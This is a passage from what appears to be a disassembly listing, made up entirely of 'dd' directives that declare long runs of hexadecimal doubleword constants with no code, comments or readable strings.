0F52A9BDh, 0F28AD134h, 0A0831AE9h, 11D3A1B7h dd 576C2DA9h, 0FC96A44Ch, 63C5CF76h, 4DB2DF94h, 0AC5FA3F5h dd 0A3012866h, 0C96D8BA6h, 93901970h, 324BF970h, 95A3C3ECh dd 4995BB8Fh, 0AB8A2904h, 31A77989h, 45F38629h, 82FB04F7h dd 21965397h, 101C87AEh, 71514AFh, 2196CA59h, 0BE6ACF77h dd 0BD0438ACh, 17F32A10h, 0E751BA6Eh, 0C5D6CE72h, 141DA211h dd 0CB5807B0h, 399233B9h, 98591FF6h, 175B6444h, 31709723h dd 8092D1ECh, 3B9386ABh, 32C5CFD4h, 7008C2Eh, 0A30D47E5h dd 51C2E071h, 0E62D4966h, 7EA7141h, 79A28C99h, 0B3D91654h dd 5274FF07h, 0B909451Eh, 0AB2711B1h, 1721CDBh, 2C34CB1h dd 1368A335h, 0F5FD23CFh, 0E899E6ECh, 12576006h, 0B0886CABh dd 0FFEE6CEAh, 36C32378h, 0AA8AB71h, 0E6AFCBACh, 0E98622DDh dd 0F1D86819h, 5AAE5BE4h, 3666B232h, 941BB3AFh, 668E628h dd 0B528CF03h, 77FF0Eh, 5B32E5F8h, 3B6A0D8Bh, 0D9D95436h dd 96D7F9CBh, 0D21A813Dh, 7B620B1Bh, 687183D0h, 0E6455B74h dd 0E8D29168h, 55FF43CCh, 35F7E577h, 7F9DDB90h, 43EFE08Dh dd 7DBE9F4Fh, 4FF0C0B6h, 0A3E05290h, 389EDD34h, 5FAC565Ch dd 0C849712Ah, 11205460h, 0BC46BA54h, 0AAA44F37h, 39E8EDBFh dd 8E360B23h, 8BF210C8h dd 0DAAD7D1Ch, 0A0513EF0h, 58C56EFDh, 60AF3A50h, 73EFCAC5h dd 0A7300F39h, 8EBCDDCAh, 0E7A98E4h, 9DCCDD90h, 0EB53AE74h dd 975CC682h, 9310079Dh, 0CC0042F8h, 2D4B51Fh, 0A10740C6h dd 270FB24h, 9433ECCAh, 3BD31A5Ch, 0EC5F78C4h, 6B9EF60Bh dd 0E4A949F0h, 2FF1F8BDh, 0F6A38C1Ah, 0F25AE601h, 5C81C641h dd 1446901Bh, 3CC2B9C0h, 0D6BB599Eh, 0A740C8D6h, 0B210CC10h dd 4193BBECh, 3675A9ADh, 227DAB09h, 51A0D148h, 8AACAE96h dd 4C7F4263h, 0AB2A0FD5h, 0E3295AD8h, 6930813Ch, 0B9595A3Ah dd 86126AE2h, 0E1A62976h, 0F4093D7Bh, 0EC45857Ah, 0A161D0B6h dd 31B17118h, 0CE980166h, 18B9BD8Ch, 2C287817h, 527E125Fh dd 7BC20E32h, 0A0D08710h, 5DF30143h, 2B12BE1Eh, 1CF96163h dd 2D4F20h, 0BA86BCA7h, 0F57F156Dh, 0B10610F5h, 0F4E4263h dd 31EA4CCh, 65EF2E7Ah, 8D16C531h, 0BE12AA67h, 4BA5F902h dd 0D84D1359h, 0D8E56195h, 0A0CF569Ch, 0B2F958FAh, 3E337252h dd 73D10071h, 9FDE5756h, 0CEBD7470h, 1BF5E774h, 3B0F7F53h dd 0C1967F76h, 55229902h, 0EC4B5C45h, 4A78DE46h, 4CA4316Fh dd 0C13CBB30h, 0D3F343F4h, 8B452C4Ah, 3893304Ch, 99C31172h dd 8BDAFD85h, 6C7355Ah, 43578033h, 49DBADFCh, 0F8612369h dd 33605170h, 645DB014h, 35AA46E5h, 7A4AAF19h, 479B4B7Dh dd 9684F2B7h, 815E4F1Ch, 365F0869h, 4BE163EDh, 0AD13BF6Dh dd 727FA0F3h, 2FAA7BE1h, 6A768562h, 3A497FA2h, 123C60Ah dd 0F6829162h, 5250C70Dh, 5FCE5C0h, 8540ED09h, 837648BBh dd 15E32C26h, 8705DEFh, 6495039Ch, 5DF916F2h, 0BA33EC06h dd 96D8635Dh, 74AD6026h, 0B42A3D7Eh, 58C9EE3Fh, 5EE9F6F9h dd 0FA13363Ah, 585998F2h, 816699D5h, 6DCA2484h, 0DDE05FB4h dd 40AEF4FCh, 601F5668h, 0B6EFD5E5h, 0AF6937BDh, 59306D49h dd 9FFC0486h, 9AA76BE0h, 45933508h, 461D5249h, 0DB5BBD7Bh dd 0FDFE6B16h, 33431301h, 0A0DCBA03h, 0B8AD6526h, 1D908E94h dd 761D2E0Eh, 116E7381h, 0EE30F351h, 13BD2BA5h, 0A25A663Eh dd 0A4C854Ch, 59B571FBh, 67323A9Bh, 9380B886h, 126F8BBBh dd 3C61CE56h, 0A39CF707h, 48134D18h, 1434D50Ah, 16973FB5h dd 0D844750Fh, 7B5A2878h, 7DE390Dh, 7F23ECDEh, 0D41F9248h dd 0BC63C509h, 40CD2213h, 0EC41AE9Fh, 6007B581h, 89B519D0h dd 34723A2Bh, 0E59F7E7Fh, 2687D0B5h, 0E98F5Bh, 3A77E53h dd 0BFFCE686h, 0BFCA3103h, 938FEF9Dh, 0E72EA0EBh, 0F941270Bh dd 0F0E33CF1h, 0CEB1B935h, 9B4EB2A9h, 0B2AAF8B9h, 7D6172F8h dd 8021BD9Ah, 0FD2A16B9h, 79E5953h, 0A2E6DFD7h, 3727D29Fh dd 0EEC9DB7Fh, 0CDC1A08Bh, 871C88EDh, 40446EF4h, 183DB449h dd 33AD2A20h, 0ABB22D03h, 46CA4B40h, 176CF0E0h, 0FA2F5B9Bh dd 6AA26871h, 85EBEFFAh, 5F53E0DFh, 5CCB5016h, 0A9101F5Bh dd 436E12E2h, 62381159h, 0DE78346h, 0CD9B9DE3h, 78E29365h dd 32C3422Ah, 8BE65B5Dh, 1EFD72EDh, 3CDEEF04h, 3EA0A1B8h dd 0B1B11032h, 0E9F27FE4h, 4C96F0B8h, 0B6F35BA0h, 672CFDA5h dd 0B06E6F90h, 4BAE66A9h, 0A2649A11h, 91B9131Ch, 0EEF1AB23h dd 0B3396AFFh, 2C13AD22h, 0F98F6C64h, 9B6E1D4Bh, 4BB75192h dd 7B0286B6h, 83E5CBF2h, 9B55F11h, 0F7840485h, 8257181Fh dd 0B921BB7Ch, 3E63E69Dh, 18AF2694h, 0BAFB8F5h, 0E5EDC716h dd 0BF52D5FCh, 1A69C46Eh, 2B4A29BAh, 0B68768DCh, 37BBAC6Bh dd 0D9B4EBB2h, 0B20972DBh, 7E615CFAh, 0DA7120Ah, 9B28D7B7h dd 47B2CFB4h, 0EE91D832h, 24144AAEh, 3A240BEAh, 0CF3648C6h dd 75A73E38h, 0B177C772h, 3AE0533Fh, 0AF3A1F02h, 0C25CDC1Ah dd 55C7BDE0h, 37DB091Eh, 0F129FEA1h, 444362h, 0E249BA59h dd 689C4929h, 44AC74FAh, 953FE978h, 0B1BCA8A4h, 0A5A4EADEh dd 22A3CBFDh, 328057DCh, 8BA7C53Ah, 0A22D3B3Ah, 95D111ABh dd 46CCCE8Bh, 1FDB9AC5h, 0E13717F9h, 0CB36E937h, 0BA6D5F0Bh dd 6EEC03A6h, 2B90B0D8h, 0FF9071E7h, 65108CE7h, 0ABB780D5h dd 2FCFD696h, 2039E744h, 6BEB9516h, 7FD8B414h, 5DD70741h dd 0B491A5F4h, 0C04492E2h, 9C0B7A8Dh, 0C8910A4Bh, 0D0380F9Ch dd 10C5578Ch, 115797CEh, 6F08DC12h, 0A1E041CDh, 1C10E980h dd 6C18D113h, 214E2360h, 14DE81Ah, 0F6578565h, 0B05900D2h dd 213A01D3h, 0B7794EC5h, 70524C5Dh, 0D3708195h, 0EB3980A4h dd 0FBB98050h, 4E751FE6h, 3E910661h, 9E34DC9Bh, 9C67977Ah dd 75E0588Eh, 717D2FF2h, 2A84A44Fh, 33351BAFh, 1F5D5EA5h dd 0DF540FB9h, 0CD256286h, 8E12D5D2h, 0D4171E18h, 6202DDECh dd 0F03D8B52h, 87A59ED0h, 97404804h, 15C47FC1h, 24E4D0A8h dd 0C27BC828h, 0F3701F45h, 395445CBh, 0AFA5713Ch, 33163D84h dd 0F09F2BE0h, 2C8DC8F8h, 0E580D794h, 0ADC3A374h, 0F3FFC15Bh dd 77F71C4h, 87B749Eh, 0C296B8EBh, 0B5CA5171h, 4A7A2068h dd 0E38406B1h, 42A25831h, 536D46B9h, 0EE5E5398h, 9AF443C8h dd 4A3D423Dh, 0B3E5F655h, 0E1D01745h, 0EA4ACEF5h, 6D57EBFFh dd 1C93955h, 59503A14h, 9AB0539h, 0C9DFDE68h, 0E09371AFh dd 5904F865h, 0FD5037D2h, 0FD45CC50h, 78F3EAA9h, 8B0448D9h dd 2E127Bh, 23F90A86h, 0AD5DBFFFh, 0F0DCE3F1h, 0CCE302DDh dd 4911F2F1h, 6CDECF52h, 931A0C14h, 8A2E4D96h, 598FBC07h dd 0E2C2431Bh, 2D99D59Eh, 48C22F57h, 0FAD8B632h, 65AC3C90h dd 0DB67A305h, 48907C34h, 45BA1448h, 0FB9F3443h, 3AD81BEAh dd 94ABEEB7h, 0B5D4C351h, 92EB8818h, 4E802D47h, 0F3678061h dd 0CB5022B4h, 0E5B8D96Fh, 0A923325Fh, 0F6A66093h, 0C8A2F45Bh dd 0A0F2AD8Ah, 0CC192F60h, 61D45F28h, 0D5ABA573h, 0F1DB75E8h dd 6DDF67B9h, 0FCEB41B7h, 23A0DB5Bh, 0C2CDF43h, 5E6B18Ch dd 0C4AD6C6Fh, 9504CE41h, 8A33B455h, 0E7791BC0h, 5967C452h dd 8B2FBB9h, 35F1AF32h, 43B01B78h, 0DDB86CF2h, 28DF8768h dd 74E13F49h, 0F6C55221h, 77A841A3h, 9E3C993Ch, 0A0D3054Ah dd 1E8E6363h, 0D3C8F2AEh, 70DBA9FDh, 153C3107h, 180FB4A1h dd 204BE3D7h, 0E6DFA4FBh, 717845E1h, 0E0CB6D5Dh, 2FC7804Bh dd 90FB0B66h, 5200315Fh, 0E8F4C485h, 497014EDh, 0F2B3576h dd 9D9F0E86h, 0BE0B4F68h, 0E9EF9DBh, 7F7CE755h, 9A69D80h dd 915A6CACh, 3103E45Dh, 3472921Ah, 804FD00Ch, 7D54340Fh dd 0A2B2E7A4h, 8B5A25D4h, 0AF9ECA11h, 9B31DE80h, 0D4B70B89h dd 45410952h, 80A1DD8Dh, 954477F6h, 0E2F5C180h, 0B9933532h dd 0DD4D843Bh, 8BC17A8Fh, 74822D01h, 0B7F8668Fh, 0A2D1A654h dd 0E28F3E83h, 33780ADFh, 70255C5Dh, 1010E097h, 295C97Dh dd 5907C91Dh, 8F1489C4h, 0DF9AF001h, 0D8D90319h, 0BB0A33Dh dd 761D9294h, 6FFC5E11h, 443BD926h, 4C642B1Dh, 3AB92F81h dd 28861BC7h, 8C1AC93Dh, 3FC7856Eh, 920D28F1h, 43EA7A91h dd 0AFA28541h, 0A931B83Ah, 71DBF1C6h, 9DF3B445h, 0BFC99D59h dd 3AD154A7h, 51B953EBh, 0A54B341Ah, 43540B3Bh, 0DA6CA9A5h dd 5E4377D2h, 0CE368EEFh, 0E8F60ECDh, 0A3BA4422h, 0EF986584h dd 9D3AEECEh, 4F1DF551h, 9E8E32CFh, 20A2B315h, 0C3BC90F6h dd 0C78716F2h, 77BE3415h, 7A93A55Ah, 61042ABAh, 593AFBBEh dd 0F8DF3077h, 0B7BC5D76h, 976B2568h, 9C9B9B45h, 657348EBh dd 0AA0691F7h, 9526E895h, 0E3D8A7DDh, 0E2902F1Ch, 2B7CE0FCh dd 0FC4444DBh, 9B3D6E24h dd 6E4621D2h, 6BDB1E30h, 0F3BAA9Ah, 40C93B90h, 5AF1729Ch dd 0CCD5C1CFh, 0AD964ED6h, 0A1FAFBAEh, 1F6E1B27h, 52E59B81h dd 5701B0A9h, 5C3A76D3h, 0BDC67560h, 1CC371ECh, 0B1BFDF2Bh dd 47FB79E3h, 87714C91h, 0F67DBE98h, 741CC144h, 2E329E1Eh dd 512CADCh, 0D6238D87h, 0FC6BC079h, 862CE2BBh, 0DA6768B0h dd 0B56DC20Ah, 40F380DFh, 0BFBD5B38h, 53D7A71Dh, 73505592h dd 0D522694h, 9BD7EAC4h, 54101A6h, 64C4D93Ah, 4FC3F34Bh dd 0CB214F33h, 7748B4ECh, 94D68607h, 0FB334C15h, 7B9895F5h dd 52052127h, 180EDAEEh, 0A5BF1417h, 0EE9500D8h, 0CABF8448h dd 2FE77398h, 0A5FD0618h, 0B257075Ch, 1C5F9707h, 0DAE01BF3h dd 2C11E809h, 35AC52DAh, 0AFFE84D5h, 9D9F552Ch, 2B586CEBh dd 0B1CF0EF9h, 1D52B07Ch, 9673C333h, 0D8D8966Bh, 0DD192A55h dd 4A4EDCBDh, 85BB846Bh, 64BF80FDh, 0DA9B5FFDh, 9D7EB2EAh dd 8C20A2F1h, 212D85D3h, 0D70996F5h, 53B8015Eh, 719ABA81h dd 0CCA3D215h, 457AA26Ch, 66EBBB4Ah, 3499C441h, 73C1C7BBh dd 0E992B955h, 0B30F2C5Eh, 8DAA0265h, 38BBA064h, 654AEA49h dd 3BC91225h, 57BF33B3h, 0BF26BC87h, 0A2A432E8h, 5D69A967h dd 3F4B1F82h, 55911E34h, 0E94066C7h, 0B1EB65A4h, 62DB4CAh dd 50102D97h, 0F3E93F54h, 957C6219h, 0ACF915DCh, 9CB71C46h dd 455A9347h, 93F0FDE6h, 0CBC2C8CEh, 124AF595h, 4ED387BBh dd 387CF036h, 700D59A7h, 9F0BB305h, 321E0C2Ah, 4EB3CCD1h dd 0E88F0AF0h, 0C0E8AB11h, 0F27AE557h, 3A2A324Eh, 7ED01F69h dd 33985913h, 0C472B114h, 0AE4AE71Dh, 0EBE8A404h, 118CDF44h dd 1B3BE70Ch, 4FD2D2B0h, 195CABDCh, 8E7F0490h, 0EE582D5Bh dd 99C7CD8Ch, 2CF577B4h, 0D4B332AFh, 512AD98Ch, 45CE6F36h dd 0B8D88396h, 6B0D5377h, 16D804ECh, 421B7ADFh, 4BD0471Bh dd 0B680504Bh, 0AEA481B5h, 0D14F7B8Ah, 0C680117Dh, 418D8F36h dd 770DF2BDh, 5F42BFEFh, 82F35914h, 2EE7273Ah, 6A3288B3h dd 8B33F13Fh, 125566BCh, 1EB60607h, 64021FE1h, 4FEF6BAEh dd 0B23E10C2h, 753BCDD4h, 0D62E2D14h, 0B1B13CF0h, 2E234EC2h dd 5B408119h, 34F2B147h, 0F281B3F1h, 0C20C6CD5h, 6C737B13h dd 22DB6838h, 6667B3F0h, 0DB777BD0h, 3D6DE16Ah, 64933BA0h dd 0E69D97BDh, 44640B8Bh, 0C0F24459h, 384C69C5h, 0E475479Eh dd 46A76099h, 0A94F4714h, 0F761B4h, 0BAE638E6h, 7CAC9731h dd 0D8BF60FCh, 2695B0B8h, 29472281h, 0E4149CF0h, 90E4D74Bh dd 0BE445669h, 731D270Ch, 0FAE78CE6h, 0C4E1F339h, 141D53FCh dd 0F31E6F44h, 640769EEh, 1781A854h, 94D17DCBh, 0F6FF1EE4h dd 540E01C3h, 2900D903h, 0FC8CC6D9h, 0DF4C352Dh, 0BD341AC0h dd 0FE948291h, 589131ADh, 14EADE51h, 3FFE5C9Bh, 3DF05EF6h dd 6F871BD6h, 62AAC9B7h, 485F0A1Ah, 34663E70h, 174D4841h dd 0A6E84A0Fh, 85CBF3B9h, 0B7331EA9h, 0C9BF01E4h, 649132E6h dd 36EF624Ah, 9724C3D7h, 0D02A81Bh, 72D121B6h, 0A411AFF8h dd 0CE50FD15h, 16FC0021h, 1E693D58h, 0A08B368Fh, 159FFF3Fh dd 0A40CEF00h, 12613702h, 0EAA640A7h, 74AF0023h, 49CCACEh dd 3D15CB4Ah, 0F296E3E0h, 94868093h, 1EF5EC3Dh, 0F9EAE575h dd 67D540A4h, 54CFC7A1h, 7D8B7C77h, 0AC018652h, 1E6E38D1h dd 5A4F1E0Bh, 0A6C3B85h, 977D8F3Bh, 49955134h, 0D26BC0A3h dd 9CCB4545h, 0C3B08F8h, 0B594C5FFh, 6EFD2721h, 0DE7E75FDh dd 0DF1CFB84h, 8381E05Eh, 657E4BC3h, 0C483CE18h, 7B7D569Bh dd 0D74B7657h, 0F2C34EFDh, 294E2C56h, 0DCDA8D42h, 62E00FD3h dd 7C804AEBh, 0B5E5AB7Dh, 5C05807Dh, 8977A1B6h, 4667BE6Fh dd 0C78702ECh, 0B1FE3AEh, 0FD507DCCh, 6EB40207h, 0E7BCEE16h dd 2D1F3C95h, 0EBC93418h, 11027269h, 6C545599h, 50E7178Eh dd 7136CB26h, 7DB7F7BAh, 1C83736Bh, 0FBA2D910h, 6AC06BA6h dd 59D41250h, 0B2280595h, 0DDD5F0E7h, 74193079h, 0FAD83907h dd 60B3D712h, 0D2D773F4h, 995EB48Dh, 0B45E5BC9h, 886B0265h dd 7E964FC3h, 0A486E45Ah, 0DA72D68Eh, 8EED70B1h, 0A6635B6Dh dd 0C17873F4h, 0EC0C674Ch, 5AE950E4h, 0C61A01CEh, 0AEB96AEFh dd 4F4AA5EFh, 1F67B850h, 70F77D71h, 8B96AE2Eh, 59405850h dd 84C2CFCBh, 53B11083h, 0A608ECC7h, 0AE5EEFB5h, 0D7FE2BC5h dd 6CF85659h, 0BE1EB907h, 6266CDCAh, 0FBCC78ABh, 0FC3F34C2h dd 0AEB7CB0Fh, 1CABF0D2h, 1B2A4651h, 3088C3F1h, 7920147Ch dd 0DB68DDh, 1AC8565Bh, 0C54EA43Dh, 0DC047989h, 0D2B981A0h dd 104EDE96h, 0D828737h, 82AD3CA1h, 82480935h, 49DDD638h dd 0EC8754B2h, 0AB327DAAh, 0DACE5637h, 8E089ABCh, 2D560739h dd 0A923F503h, 15AB7A6Eh, 3AECA5DAh, 44EC13E9h, 2DC7297Bh dd 2EEA621Eh, 0B87B944Ah, 8E87D2D0h, 2EE58FB0h, 62420020h dd 0A49F5E78h, 48812F05h, 0CDAF3DC1h, 0F9979D2h, 0E90E6300h dd 33D8FF07h, 0C1360F7Dh, 67BD7C3Fh, 7B0677F2h, 42EB213Eh dd 0DB2DDA55h, 0BACD059Eh, 3AFE8FE8h, 0C8E7771Ah, 6B0134CDh dd 48826787h, 0F0A1627h, 0EECA34C9h, 0A0B0C2Eh, 9E21EB9Dh dd 66ADB7AFh, 8C5B71EEh, 0A121DFAh, 0B13DB566h, 50744EE0h dd 50655D34h, 80543EFCh, 0F92B57C8h, 0DF2857A2h, 85BF742Ah dd 6BEEF1AFh, 0D699CA35h, 7CB37567h, 7D2A1D84h, 0FED6A05Dh dd 28604104h, 1CCDB84Ah, 88543B1Fh, 190F569Ch, 94CD07B4h dd 8FB6E820h, 0A5BE65A4h, 41AE7A90h, 709D59F9h, 14AF3E1Dh dd 712C09A3h, 0FB7AB8F6h, 0DE5E0B26h, 17E270DDh, 28B0882Eh dd 0B9782F10h, 0A481970Ch, 29702A39h, 0B27AEF6Ah, 7B75554h dd 7C56DEF6h, 4E2B77DEh, 0D7AD8359h, 7ACCCC2Bh, 4F199785h dd 0FEC2B641h, 8DA892D0h, 0A588B7BBh, 0E9A9F43Bh, 4141898Ah dd 0C3BDDFCFh, 52E10B10h, 0D685B521h, 404AD442h, 941D3B58h dd 983BAA3Eh, 0C9DBD90Eh, 67F5C930h, 7211301Ch, 0B5650446h dd 35A9EE9Ch, 8242D3E5h, 0D1FD0AF4h, 4F04D3FBh, 76591F8h dd 0B8348855h, 42C33F7Dh, 0B52B2E55h, 0B866300Bh, 7B322B6Ch dd 1ACAE24Eh, 0E94420FBh, 0B697250Bh, 9094E3EBh, 0DEC884B2h dd 64286DC0h, 556FE951h, 0D192D844h, 0E96A0AAEh, 2677E667h dd 3F5D249Ah, 0B6F0CCADh, 0BD6701B7h, 24BF0E53h, 0BB9663Ch dd 0AC155414h, 56E3BD1Dh, 8CFB77E0h, 162D11C7h, 0D25B5560h dd 0CDC147B8h, 70CD94FAh, 0BC8BE352h, 91DC66C9h, 24ABB84Ah dd 3F2557C8h, 0D7EFBB00h, 0D9D41D95h, 44FFD72Eh, 0C1BAB164h dd 0B26F42C9h, 0E99EF5F7h, 994F789Ah, 15C3AA24h, 330EBAACh dd 0F850DE37h, 82F82027h, 0EEE4228Dh, 288BD965h, 0E1B73A3Dh dd 26D991CEh, 0B6DFED96h, 2A481478h, 30B37667h, 8B2630BEh dd 98590A90h, 95E52843h, 0FDC9A9C9h, 9FCA8301h, 5084EEC1h dd 859B6F70h, 8A05B2Fh, 61E760E9h, 0E1A0C0Ah, 0B3BB7BE0h dd 4DF27BBAh, 793DF692h, 0BF95837Bh, 6592A61Dh, 0ED60E55Eh dd 0DAB5D5D4h, 7D458231h, 0CA31A6AFh, 74E319F8h, 53F89A33h dd 42D4863Ch, 205F5C82h, 615D1F4Bh, 0EC7C6F5Ch, 90166B62h dd 2066E26Dh, 66EA79A0h, 77E0E49Eh, 9974F1DEh, 7FDD9F2Eh dd 0EFD87EB7h, 4504F50h, 0D80B37A4h, 3C266B7h, 97B3CCE1h dd 0CC800A83h, 68F42B88h, 15712501h, 2426C985h, 3AA7F85Ah dd 8AC40719h, 267D78D2h, 3C03F733h, 4F2E3132h, 0D9C5662h dd 584FEF9Ch, 0FE1BE129h dd 0DA6FEB82h, 630E4026h, 22C3022Fh, 73D978A0h, 0CB62DED3h dd 8F714ADAh, 86787743h, 88EF0005h, 89F5DAFAh, 46C156D3h dd 550A2541h, 2CF6A560h, 0E59860EEh, 0A9AD933Dh, 2E29447Dh dd 7D34ACF0h, 797180D4h, 1B588FDCh, 9614C24Bh, 27C2DC4Ch dd 89BE49C1h, 7DCB3D55h, 3E12B258h, 10D5D420h, 4FE7F5D1h dd 0CDBFF67Dh, 0D920B181h, 4B8EED08h, 572F47F4h, 822714C4h dd 0BFA2B7B6h, 45577D2Ah, 0B85F1A2Dh, 0B66222A1h, 0F1F00C84h dd 6B5C1B8Ch, 0F2DCA87Eh, 0EAA3B2B8h, 49D3FCB1h, 0C568F853h dd 3A8AB902h, 13E1DE74h, 0D308D1ABh, 0A5EEDC2Ah, 45210671h dd 79FF7A90h, 0B3E2B38h, 0DBB88F67h, 2A5858F0h, 4DCFDA78h dd 0BEEC498h, 61B8F07Ah, 49537F84h, 1A7450ACh, 3D48BA58h dd 0C8C28A92h, 3A5AB85Fh, 84E339A5h, 6DA2546Ch, 0F26D3BAh dd 0FD3825Eh, 857368E5h, 94822B51h, 73C664E6h, 0D0EDA20Ah dd 92B7A9E9h, 901405FEh, 73E22D0Fh, 0B25D3E03h, 351BAF29h dd 0C68D54FBh, 90E3424Eh, 46C4DBD7h, 6474381Dh, 0A89095F9h dd 850558FAh, 515471A6h, 0A5A96E1Ch, 0B8496E07h, 1431B6C9h dd 0BA8EFCEDh, 6D7C3741h, 8BD02B99h, 64C14F9Bh, 4094BF7Bh dd 14264283h, 0EF4F819Dh, 0BFAF5AD5h, 1696D3D5h, 99B7AA0Bh dd 3EF84394h, 8FAC19D8h, 0C7750A72h, 938A9041h, 3E54246Bh dd 0B40C6BBh, 4F501D5h, 0E83EB9D6h, 0ECBD075Ah, 9806AF57h dd 0BF776E6Ah, 72E5A11Dh, 4D49D5Ch, 0D1CC5591h, 2D569E9Eh dd 79188338h, 956F8B0Fh, 58D68500h, 0E3A4DDDEh, 0D6F2A452h dd 0C799BF31h, 0ADEC7731h, 1A51F727h, 0CDAAE45Fh, 6868F452h dd 0DC931155h, 0B41CA129h, 8A3737E0h, 0F4DE5DB5h, 76948C9Fh dd 0DA9E2F77h, 2B1C6C47h, 90D2285Bh, 2460EEF9h, 0FA115626h dd 0DCFC2604h, 0C8683CEBh, 0DD2683D6h, 373BF38Dh, 4DB013C0h dd 356858BCh, 4D0D61BAh, 9F90927Bh, 648C5033h, 63E98DCCh dd 0DF09DD43h, 0E28BB9B9h, 0D2005987h, 0DFAB81A8h, 14573186h dd 31281B24h, 251CD53Ah, 1F6AFDC2h, 73C1ECA8h, 0E092B306h dd 8481BE0h, 1FFC345Bh, 690E2033h, 91391B9Ch, 0CF55E90Ch dd 3734AB83h, 6508E46Bh, 66ABF66h, 8795E132h, 6F8CA38Ch dd 97175657h, 18A938E6h, 0BC4ADD63h, 555E719Bh, 5BB0BD1Fh dd 20A5BF5Dh, 0DBB35D94h, 6156874Eh, 0B8F4D8Eh, 0F0F6F8h dd 0A383B7F8h, 57969154h, 82AA0ECCh, 0E35F73BBh, 0C3A0A33Fh dd 7D53780Bh, 0C06C6FE2h, 23A947E6h, 3678071Dh, 103B5C4h dd 0A879E20h, 6100D23Bh, 0CCFB598Fh, 5BDC72A6h, 2AFFBB8Bh dd 275E1CDAh, 85C7E346h, 0DBCAAE28h, 0AE600DA0h, 0C13E47ABh dd 4F40BDAFh, 18D0E14Ch, 1A7AFD20h, 8E363060h, 27886EA2h dd 3B1C358Dh, 803B9B1Ch, 0D51C727Ah, 0AC879B03h, 4A097224h dd 0D0EB5A58h, 7A305D01h, 5DA031B0h, 5F50CC85h, 3DCDB9F2h dd 4C00A30Ch, 56D78443h, 3F3D0119h, 71E75B97h, 0EE42DDF8h dd 0E48BC336h, 0DCC6C431h, 5685D91Bh, 0E43D320Eh, 0AA4E3BD6h dd 0B3A2EE80h, 451CF2D6h, 69F447DDh, 8AD5D00Eh, 0D9F3EC91h dd 0B4D14CCCh, 87AC84B2h, 89207920h, 867273F0h, 47A3FA70h dd 0B31345C2h, 53DE2D6Ch, 4DD38C40h, 0F4C5E73Bh, 7AB57CD6h dd 2BE624DBh, 0E00BE324h, 60F39800h, 0E7415B12h, 0B8C173C9h dd 0F690B822h, 3BAA9333h, 0A4FD78D1h, 9BE873A2h, 1DB5CB10h dd 0BCDC0628h, 44B1B554h, 850BA66Ch, 0C9AA2D45h, 1DEAA132h dd 0B8EEAA3Ch, 1727EA0h, 2C2C9179h, 0DBE29A40h, 842B054Ch dd 7DC4D9E5h, 0E4BF91A9h, 0BD5AC1A6h, 4398DF02h, 4F5EE81Ch dd 705CA435h, 6B64D6EFh, 0C5764578h, 40A2BA9Bh, 0DFEBD69Ah dd 0E5EF1545h, 425EE8E2h, 0BBC98FB2h, 97E1D75Bh, 0B225DE83h dd 3CF0CD34h, 0B1C307ECh, 12BBFB56h, 76E18A50h, 3DAA80Bh dd 48988860h, 0A0D45DE1h, 9F509FADh, 163EEE06h, 5351F382h dd 0B9934CF6h, 0CC1A7E38h, 0EE3B6C12h, 2309B480h, 0A7ECBA81h dd 393E3804h, 88A577DAh, 2649B0CEh, 64B6BBD4h, 0B5604A9Eh dd 66310948h, 47FB26Bh, 0D351050Eh, 0BB7C7024h, 84C5002Bh dd 91DC83E3h, 0F3C47992h, 633109B5h, 89330728h, 10E3A1B2h dd 0F8625C03h, 0BF039A57h, 0E141B43Ah, 99C758A8h, 0B175EC21h dd 8A3A0EB9h, 18B0A8E9h, 78BF89D3h, 0E9441FAh, 24F384Dh dd 21A8E6F3h, 9D9ECF15h, 5A258312h, 3E82CCA0h, 0C5837C1Ch dd 548113Bh, 4719EE37h, 39A3DD5Ah, 573231A7h, 0ECF249F3h dd 6D11F7B8h, 826C0E0Ah, 88311BABh, 2052B366h, 8F517D88h dd 37164398h, 41E1B502h, 33D559BAh, 0E095358Ch, 68421A0Ch dd 292C4351h, 3B294EFAh, 220037B4h, 0EC35AC4Eh, 0E0067082h dd 21996958h, 762423E8h, 0FABE0A82h, 3C7EBC8Dh, 0C1AA293h dd 64A1D91Fh, 0EC1B557Ch, 8D1A9EC1h, 418A183Dh, 52DC1F9Fh dd 92208A77h, 831AFB93h, 0AAB40A6Ch, 0FD537889h, 0A8B04B44h dd 63B251E6h, 0EB4A77A4h, 81C829F2h, 8B3319ACh, 0D9CC6788h dd 8B91011Ch, 8CF8BBFFh, 0F24017FDh, 0D1DA66E2h, 7527F23Ah dd 175FF6FCh, 0C90D0CDEh, 5487914Eh, 218BD20Eh, 0C2EC96C9h dd 635F5D6Fh, 0F4B84C6Ch, 1C8512C4h, 79B3EFB8h, 0CBDB74ABh dd 0FCDD4D4h, 3D937A4Dh, 42C210B1h, 0ECC6314Ah, 0D05EBFB1h dd 46D37EBCh, 1B5557ADh, 0B34B6592h, 0F70CD6F2h, 618FAADBh dd 2B413E8h, 26C3B173h, 67B59F63h, 30D760D2h, 0CBC2D1ABh dd 4CB976FFh, 0ECA4018Dh, 480F70D0h, 0E3D9F429h, 0DA24A592h dd 734C66DBh, 2468DA09h, 0FF4B183h, 3E8A6917h, 0A612D469h dd 0D8527BBDh, 98C5356Bh, 729F3B35h, 5E708AE7h, 4208270Fh dd 0BC9592B4h, 482E7E73h, 50EBE5A3h, 54BBB91Ch, 757DE6D5h dd 89FA083Bh, 0FC6B10B0h, 0BBDEBF0Ch, 9946352Fh, 334112Eh dd 6C6F6B48h, 1FA26809h, 25B170BEh, 0D7128BA2h, 88EB1D7Bh dd 839DF94Ch, 1BEE9A79h, 9C264924h, 1AF07BECh, 0FA2AA6EDh dd 470118A9h, 5CABCBCBh, 0C377FD8Eh, 0E836B8Dh, 7F6B8781h dd 0A736C6C3h, 0A508B09Ch, 637D527Ch, 2688917Ah, 66690F40h dd 316EA1DCh, 2E584116h, 5809D593h, 78CB0B9Eh, 2F19BDC7h dd 44CD719Ch, 8F7B176Ch, 0EC486FFCh, 138C3497h, 75E4DF1Dh dd 458ED6E4h, 41D4599Fh, 0C1E27ADh, 0A0CBDFDAh, 6AEDFAF1h dd 407F4E3Dh, 71AAB2DDh, 0A0D3B901h, 5E4E7A11h, 302398Ah dd 6B8E22A8h, 8FA04932h, 9FC74225h, 0F48CED3Bh, 0EA55FB5h dd 7F0F2DB0h, 0BB2B8C9Fh, 8C8EC466h, 0B336FE04h, 9153A908h dd 0E67B48F3h, 33388649h, 7E4C39A7h, 13B2C078h, 8BDF9809h dd 0DFD0309Eh, 0AECD07ABh, 0CCAF9971h, 54AB0636h, 9629D1BCh dd 7692660h, 81463B55h, 6F8AB5C9h, 1BCCE7CBh, 0EF86FFCCh dd 